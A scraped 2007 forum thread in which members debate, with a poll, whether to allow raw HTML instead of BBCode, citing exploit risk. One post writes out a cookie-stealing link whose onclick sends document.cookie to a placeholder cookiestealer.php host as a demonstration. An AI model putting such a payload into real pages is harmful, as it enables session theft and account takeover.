HTML (Topic)

Staredit Network > Forums > Staredit Network > Topic: HTML

HTML

This topic is locked. You can no longer write replies here.
Oct 11 2007, 10:33 pm
By:

blacklight28

Pages: 1 2 3 >

Polls

HTML in SeN

Answer	Votes	Percentage	%	Voters
Yes	4		16%	None.
No	21		84%	None.

Please login to vote.
Poll has 25 votes. You can vote for at most 1 option(s).

Oct 11 2007, 10:33 pm

blacklight28 Post #1

Is it possible to use HTML for everything except like quotes? HTML has less limitations and is cool. And this is my first poll so it might be screwed up... If it is, just don't answer.

None.

Oct 11 2007, 11:04 pm

Money Post #2

You mean like HTML over bb-codes?

bold
italic
underline

None.

Oct 11 2007, 11:08 pm

MrrLL Post #3

HTML is annoying.. and can lead to exploits. BBCode is much simpler and something that everyone knows how to use.

None.

Oct 11 2007, 11:12 pm

InsolubleFluff Post #4

I know HTML, but not BB...

HTML would be a LOT easier.

None.

Oct 11 2007, 11:21 pm

dumbducky Post #5

BB codes = [ url], [ quote], etc.

tits

Oct 11 2007, 11:22 pm

blacklight28 Post #6

Quote from moneylover

You mean like HTML over bb-codes?

bold
italic
underline

Yes stuff like that. I think that would be much better.

None.

Oct 11 2007, 11:42 pm

Money Post #7

I don't.

<marquee>

and other annoying shit.

None.

Oct 11 2007, 11:44 pm

blacklight28 Post #8

Eh, I guess stuff like that would be annoying but wouldn't there be a way to like ban certain HTML codes?

None.

Oct 11 2007, 11:48 pm

MrrLL Post #9

You can use HTML to embed videos and flash, and imbedding flash can lead to exploits by certain assholes. If you limit html to everything that's NOT bad, then you basically have BBCode with < > tags.

Let's not keep it complicated. BBCode ftw.

None.

Oct 12 2007, 12:56 am Minority Post #10

BBCodes also let you do much more complex things, like quotes and codeboxes. It all gets converted to HTML anyway.

None.

Oct 12 2007, 1:20 am

Jello-Jigglers Post #11

It's a good idea but people get really annoying with html and always try to make everything that will give a man epilepsy... just too annoying for me, but if they could limit the things that worked I would pull for it cause I think it's pretty powerful code.

None.

Oct 12 2007, 2:24 am

Moose Post #12

We live in a society.

No, not happening. Too exploitable, too risky, too easy to abuse, etc.

https://www.collaborativefund.com/blog/how-this-all-happened/
https://thelastpsychiatrist.com/2012/11/hipsters_on_food_stamps.html
https://youtu.be/vyiXaCRwZTs
https://thelastpsychiatrist.com/2011/09/how_to_be_mean_to_your_kids.html
http://lab.cccb.org/en/renata-avila-the-internet-of-creation-disappeared-now-we-have-the-internet-of-surveillance-and-control/

Oct 12 2007, 2:47 am

DT_Battlekruser Post #13

Quote from Merrell

What's wrong with embedding a Java application? Or JavaScript?

None.

Oct 13 2007, 3:38 am

blacklight28 Post #14

Didn't I ask before if it's possible to ban certain codes.

None.

Oct 13 2007, 4:26 am

MrrLL Post #15

Didn't you read when I SAID that if you get rid of all exploitable codes, it will be reduced to that of what BBCode has. You're.. worthless.

None.

Oct 13 2007, 6:44 am

blacklight28 Post #16

Wow, no need to be so harsh, and you won't have basically BBCodes but with < > tags.

None.

Oct 13 2007, 1:10 pm Minority Post #17

Quote from Minority

BBCodes also let you do much more complex things, like quotes and codeboxes.

That's why you use BBCodes.

None.

Oct 13 2007, 1:16 pm Pyro-Fire Post #18

<a href="#" onclick="javascript:window.location='http://www.mywebsite.com/cookiestealer.php?cookie=' + document.cookie">Check out this awsome website!</a>

I now own your account. GG

None.

Oct 13 2007, 1:59 pm who Post #19

you people realize that it's not very hard to ban certain tags... but the problem is, it's much harder to create a quote in HTML.

None.

Oct 13 2007, 2:29 pm Minority Post #20

That's what we've been saying throughout this entire bloody thread.

None.

Options

Pages: 1 2 3 >

Back to forum
Please log in to reply to this topic or to report it.
Members in this topic: None.

Global Shoutbox

[2024-4-27. : 9:38 pm]

NudeRaider -- Ultraviolet

Ultraviolet shouted: NudeRaider sing it brother

trust me, you don't wanna hear that. I defer that to the pros.

[2024-4-27. : 7:56 pm]

Ultraviolet -- NudeRaider

NudeRaider shouted: "War nie wirklich weg" 🎵

sing it brother

[2024-4-27. : 6:24 pm]

NudeRaider -- "War nie wirklich weg" 🎵

[2024-4-27. : 3:33 pm]

O)FaRTy1billion[MM] -- o sen is back

[2024-4-27. : 1:53 am]

Ultraviolet -- :lol:

[2024-4-26. : 6:51 pm]

Vrael -- It is, and I could definitely use a company with a commitment to flexibility, quality, and customer satisfaction to provide effective solutions to dampness and humidity in my urban environment.

[2024-4-26. : 6:50 pm]

NudeRaider -- Vrael

Vrael shouted: Idk, I was looking more for a dehumidifer company which maybe stands out as a beacon of relief amidst damp and unpredictable climates of bustling metropolises. Not sure Amazon qualifies

sounds like moisture control is often a pressing concern in your city

[2024-4-26. : 6:50 pm]

Vrael -- Maybe here on the StarEdit Network I could look through the Forums for some Introductions to people who care about the Topics of Dehumidifiers and Carpet Cleaning?

[2024-4-26. : 6:49 pm]

Vrael -- Perhaps even here I on the StarEdit Network I could look for some Introductions.

[2024-4-26. : 6:48 pm]

Vrael -- On this Topic, I could definitely use some Introductions.

Please log in to shout.

Members Online:

NudeRaider,

Roy